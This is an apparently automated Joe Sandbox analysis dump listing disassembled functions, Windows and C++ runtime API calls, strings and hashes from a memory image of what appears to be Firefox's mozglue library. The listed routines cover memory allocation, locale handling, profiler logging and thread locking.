?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535DC9
std::_Facet_Register.LIBCPMT ref: 6C535DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C535C8C,?,6C50E829), ref: 6C535E45

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction ID: c2e9d66c7664e757c26c9a7ae4a40edfb6a1e0f7dd50b8b1ea0aa2aabe4a4484
Opcode Fuzzy Hash: 41a85583aa7377945acbec06b8d841a3764af2d31126c57a0ccf06136dd95528
Instruction Fuzzy Hash: B641AE307002148FCB00EFA9CC88AAE77B5EF89314F855469E50A9B791EB34ED05CB65

Function 6C50CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C4D31A7), ref: 6C50CDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C50CFA4, 6C50CFB8
<jemalloc>, xrefs: 6C50CF9F, 6C50CFB3

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction ID: bdf98bc23b7036e1ce9493a52bbdfc81020d7f9e8ef2ee296cd1bea1899adbb8
Opcode Fuzzy Hash: 563d09e6d501a985a709c07fdb5f1c9108d5d0829e6abca2f1cf65bc561a9e88
Instruction Fuzzy Hash: A231B4707402055BEF11BEA58C45BAE7BB5AF82718F714519F611EBA80DB70F400CBB6

Function 6C4DECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4DF100: LoadLibraryW.KERNEL32(shell32,?,6C54D020), ref: 6C4DF122
Part of subcall function 6C4DF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C4DF132

moz_xmalloc.MOZGLUE(00000012), ref: 6C4DED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4DEDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C4DEDCC
CreateFileW.KERNEL32 ref: 6C4DEE08
free.MOZGLUE(00000000), ref: 6C4DEE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C4DEE32

Part of subcall function 6C4DEB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C4DEBB5
Part of subcall function 6C4DEB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C50D7F3), ref: 6C4DEBC3
Part of subcall function 6C4DEB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C50D7F3), ref: 6C4DEBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C4DEDC1

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction ID: 43eec158095b96cf7f8926302b25dc59d230676e3bacc979cb5fb84344dd10ce
Opcode Fuzzy Hash: d697ab5230745a9459d99636536c2fe5dbee8f92bc6926a79df30218a2436e87
Instruction Fuzzy Hash: 5F51BE71D052058BDB01EF68C890EEEF7B1AF59318F46852DE8556B740EB30B949C7E2

Function 6C54A520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A565

Part of subcall function 6C54A470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A4BE
Part of subcall function 6C54A470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C54A4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54A65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C54A6B6

Strings

0, xrefs: 6C54A5FB
z, xrefs: 6C54A6AE

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction ID: a22cfca7e0ec4809c0bcded96d63afa0a00d75b452c2d2d3adea9534b530caf2
Opcode Fuzzy Hash: 9374bc301413b9adc6d19e96f967846c9cbccf54ed49701e6e17568e82fe8dc1
Instruction Fuzzy Hash: C94128759087459FC781DF28C480A9FBBE5BFC9354F508A2EF49987650EB30E549CB82

Function 6C519420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C50AB89: EnterCriticalSection.KERNEL32(6C55E370,?,?,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284), ref: 6C50AB94
Part of subcall function 6C50AB89: LeaveCriticalSection.KERNEL32(6C55E370,?,6C4D34DE,6C55F6CC,?,?,?,?,?,?,?,6C4D3284,?,?,6C4F56F6), ref: 6C50ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4E4A68), ref: 6C51945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C519470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C519482
__Init_thread_footer.LIBCMT ref: 6C51949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C51946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C519459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C51947D

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction ID: 1f048b8e297d4584bead40d8e529396be2c55c97babd6f4513f76065092be8d0
Opcode Fuzzy Hash: 1baa0e977298eaa6b9b22d2c9bee214a6e47408928c8f5fcbaf62b61ea02219c
Instruction Fuzzy Hash: F001D470A04101CBE700DBADDC19A5E33B5AB4A32DF460A37ED0B86F51E761E864899F

Function 6C520F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C520F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C520F88
GetCurrentThreadId.KERNEL32 ref: 6C520FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C521067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5210A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C52114B

Part of subcall function 6C518AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C531563), ref: 6C518BD5

free.MOZGLUE(?), ref: 6C521174
free.MOZGLUE(?), ref: 6C521186

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction ID: 1ee12da314afcc678db07f88ae9bd056a9d4ad0b99b708fb6127eed362170356
Opcode Fuzzy Hash: a3b67d718524de31d804cd38d08506714dc3f23b037f1308ca337e14d4ae707a
Instruction Fuzzy Hash: C4619975A043409BDB10DF24CC80BABB7F6BFC9318F05891DE88957691EB75E849CB82

Function 6C4DB630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6AC

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C4DB61E), ref: 6C4DB73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C4DB61E,?,?,?,?,?,00000000), ref: 6C4DB79A

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction ID: b8ba31d479dfa37159fbea0e31962d52bd514a2a4767d916ef85a0a841be9043
Opcode Fuzzy Hash: a0abf0f173e0ee54484b7688bc0681755c98358be7e8d3b55b2a917b7e14179b
Instruction Fuzzy Hash: 8441B3B2D001159FCB04EF68DC90EAEB7B5BF84324F264669E825E7780E731AD0587E1

Function 6C4DEF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C555104), ref: 6C4DEFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DEFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C4DEFEC
free.MOZGLUE(?), ref: 6C4DF00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C4DF02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C4DF041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4DF065
moz_xmalloc.MOZGLUE ref: 6C4DF072

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction ID: 8c2c78ee163ce345aeb9a9382c8cdf6224992bad22d44fd63978911aee6e8b1c
Opcode Fuzzy Hash: ab17cfff86e6c12cf7f3f54f705e5eaff69fcb2e950854bd5c28714e0bdb2014
Instruction Fuzzy Hash: D041F6B1A002059FDB18DF68DC90DAE7769BF88318B25422CE815DB794EB31E905C7E1

Function 6C54B540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C54B5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C54B5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C54B5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C54B5F4
__Init_thread_footer.LIBCMT ref: 6C54B605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C54B61F
std::_Facet_Register.LIBCPMT ref: 6C54B631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C54B655

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction ID: 6bb4df23af8f54ea8cf92ffafdd07cc5e273403050cbfb2a950d692f924c1407
Opcode Fuzzy Hash: 3afe64e034abeae298276de62a5c64bc6a492aac986c6689da635242f5e9dd0b
Instruction Fuzzy Hash: 60318F71B00204CBCF00EF69CC989AEB7B5FF8A324B964519D90697781DB31A906CB95

Function 6C516590 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C50FA80: GetCurrentThreadId.KERNEL32 ref: 6C50FA8D
Part of subcall function 6C50FA80: AcquireSRWLockExclusive.KERNEL32(6C55F448), ref: 6C50FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C516727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C5167C8

Part of subcall function 6C524290: memcpy.VCRUNTIME140(?,?,6C532003,6C530AD9,?,6C530AD9,00000000,?,6C530AD9,?,00000004,?,6C531A62,?,6C532003,?), ref: 6C5242C4

Strings

data, xrefs: 6C516593
vUl, xrefs: 6C51696C

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data$vUl
API String ID: 511789754-3511496017
Opcode ID: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction ID: 1aa911cf9f449c6251d9080a358008f546be6580e3ac84a90826315a0d3c4f27
Opcode Fuzzy Hash: 5cd1d3707beeeaa55a1a26ce5f0c3d13a6296c56f248869d1957fa88f458320f
Instruction Fuzzy Hash: 5BD19E75A083408BD724DF25CC55B9EBBE5EFC5308F50892ED58987B91EB30A849CB92

Function 6C50D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C4DEB57,?,?,?,?,?,?,?,?,?), ref: 6C50D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C4DEB57,?), ref: 6C50D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C4DEB57,?), ref: 6C50D673
free.MOZGLUE(?), ref: 6C50D888

Strings

WMl, xrefs: 6C50D5D9, 6C50D63F
|Enabled, xrefs: 6C50D81E

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WMl$|Enabled
API String ID: 4142949111-27182069
Opcode ID: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction ID: 6b77c40a96e019b1baa90a57332318e1965589b368983649f8042ab0972dc88f
Opcode Fuzzy Hash: 066d3dd08ad87baab23353a75acfbe3fa6dcd760d18b791aec3964fdc1d978b9
Instruction Fuzzy Hash: 9AA1E2B0B003058FDB11CF69CC90BAEBBF1AF49318F58855CD899AB742D735A945CBA1

Function 6C4EB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE), ref: 6C4EB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C52CC83,?,?,?,?,?,?,?,?,?,6C52BCAE,?,?,6C51DC2C), ref: 6C4EB896

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction ID: 98c30d6e9b0eb1191556452bb368863457d3b27bef8a89c100187807ffe18f21
Opcode Fuzzy Hash: 839c88a3d82c51bc44c4efccd10c0a719b3e18bcbae31de6925a7fc76f0cd75d
Instruction Fuzzy Hash: 1A516A357006048FCB15DF59C888E3AB7F5FF8D31AB5A8559E98A87751C730E802CB88

Function 6C521D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C521D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C521BE3,?,?,6C521D96,00000000), ref: 6C521D4C
GetCurrentThreadId.KERNEL32 ref: 6C521DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C521DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C521DDA

Part of subcall function 6C521EF0: GetCurrentThreadId.KERNEL32 ref: 6C521F03
Part of subcall function 6C521EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C521DF2,00000000,00000000), ref: 6C521F0C
Part of subcall function 6C521EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C521F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C521DF4

Part of subcall function 6C4ECA10: malloc.MOZGLUE(?), ref: 6C4ECA26

Memory Dump Source

Source File: 00000000.00000002.2587197536.000000006C4D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000000.00000002.2587152485.000000006C4D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587293806.000000006C54D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587339625.000000006C55E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2587373471.000000006C562000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c4d0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction ID: 67f9729a0c717aecc77407e37afc9ad5a1c7021f2f71dde8b5abc7677540f3d5
Opcode Fuzzy Hash: 4d48c1c1b37b186809f48fd3841c48588d0a4062081b89d5aa5ebc0c6a5cd385
Instruction Fuzzy Hash: A04166B5200700DFCB10DF29C888A56BBF9FB89324F51442EE99A87B81DB75F854CB95

Function 6C5184E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5184F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C51856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5185AC

